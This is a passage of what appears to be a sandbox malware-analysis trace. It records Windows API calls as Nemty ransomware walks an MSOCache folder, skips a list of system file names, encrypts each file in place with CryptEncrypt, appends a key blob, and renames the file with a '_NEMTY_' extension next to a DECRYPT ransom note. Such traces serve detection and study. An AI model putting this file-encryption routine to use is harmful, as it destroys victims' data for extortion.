out: hHeap=0x4f90000) returned 1 [0047.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0047.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6344160 [0047.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0047.610] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=875520) returned 1 [0047.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0047.610] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.611] ReadFile (in: hFile=0x3cc, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653eea4*=0x19000, lpOverlapped=0x0) returned 1 [0047.620] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.620] WriteFile (in: hFile=0x3cc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653ee9c*=0x19000, lpOverlapped=0x0) returned 1 [0047.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.621] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=875520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd5c00 [0047.621] WriteFile (in: hFile=0x3cc, lpBuffer=0x6340308*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6340308*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0047.622] CloseHandle (hObject=0x3cc) returned 1 [0047.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0047.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63442d8 [0047.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344390 [0047.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442d8 | out: hHeap=0x4f90000) returned 1 [0047.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.632] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi._nemty_kgobjgd_")) returned 1 [0047.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344390 | out: hHeap=0x4f90000) returned 1 [0047.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0047.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0047.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344160 | out: hHeap=0x4f90000) returned 1 [0047.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0047.634] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2=".") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="..") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="...") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="windows") returned -1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="rsa") returned -1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="NTDETECT.COM") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="ntldr") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="MSDOS.SYS") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="IO.SYS") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="boot.ini") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="boot.ini") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="ntuser.dat") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="desktop.ini") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="CONFIG.SYS") returned 1 [0047.634] lstrcmpiW (lpString1="Proof.xml", lpString2="RECYCLER") returned -1 [0047.635] lstrcmpiW (lpString1="Proof.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.635] lstrcmpiW (lpString1="Proof.xml", lpString2="bootmgr") returned 1 [0047.635] lstrcmpiW (lpString1="Proof.xml", lpString2="programdata") returned 1 [0047.635] lstrcmpiW (lpString1="Proof.xml", lpString2="appdata") returned 1 [0047.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0047.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0047.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0047.635] Sleep (dwMilliseconds=0x5) [0047.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0193430, dwHighDateTime=0x1d561e7)) [0047.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0193430, dwHighDateTime=0x1d561e7)) [0047.640] GetLastError () returned 0x0 [0047.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.640] GetLastError () returned 0x0 [0047.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.640] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0047.640] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0047.641] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0047.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0047.641] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653ec5c | out: pszString="tQ3W/1LCWak/gdDTZ2cNGVquRVfU89axC/ZNBJPnziVzJt2sd/8AY4L++3ywqc+u\r\nO0s+QApGnP14nKKLUquCyZD7zkrYjQrInEHjxKsV0L3BXxggF8TYJntHoZvLVAgb\r\nw3Vk094gkZHHdherZyrZ7ZUuemlNlE3uNdCuNwDGeGH08M4LJlnT9T6fIriElgxU\r\n9y7I3QBtse2oncmLhi4YsUIb4KSoHUFRYS61ZOgRciyFvNDjlCE37uDE3VYYR6bO\r\nDz0sJywpLl5b56ZQ7idRMUClarD2dJ4jO3RTb+/fV1USOu/N9l74oPgUadVpouFu\r\nbeYf1iZ0/4IU7r/0g5XQnw==\r\n", pcchString=0x653ec5c) returned 1 [0047.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d0 [0047.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0047.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0047.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6343fe8 [0047.641] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0047.641] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=1347) returned 1 [0047.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x540) returned 0x4f9f4a0 [0047.641] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.641] ReadFile (in: hFile=0x3cc, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653eea4*=0x540, lpOverlapped=0x0) returned 1 [0047.643] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.643] WriteFile (in: hFile=0x3cc, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653ee9c*=0x540, lpOverlapped=0x0) returned 1 [0047.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0047.643] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=1347, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x543 [0047.643] WriteFile (in: hFile=0x3cc, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0047.643] CloseHandle (hObject=0x3cc) returned 1 [0047.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6344160 [0047.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6344218 [0047.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63442d0 [0047.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344218 | out: hHeap=0x4f90000) returned 1 [0047.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.644] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml._nemty_kgobjgd_")) returned 1 [0047.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442d0 | out: hHeap=0x4f90000) returned 1 [0047.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344160 | out: hHeap=0x4f90000) returned 1 [0047.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0047.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0047.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0047.645] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0121010, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0121010, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0121010, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0047.645] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0047.646] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0047.646] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0047.646] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0047.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0047.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0047.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0047.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0047.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | 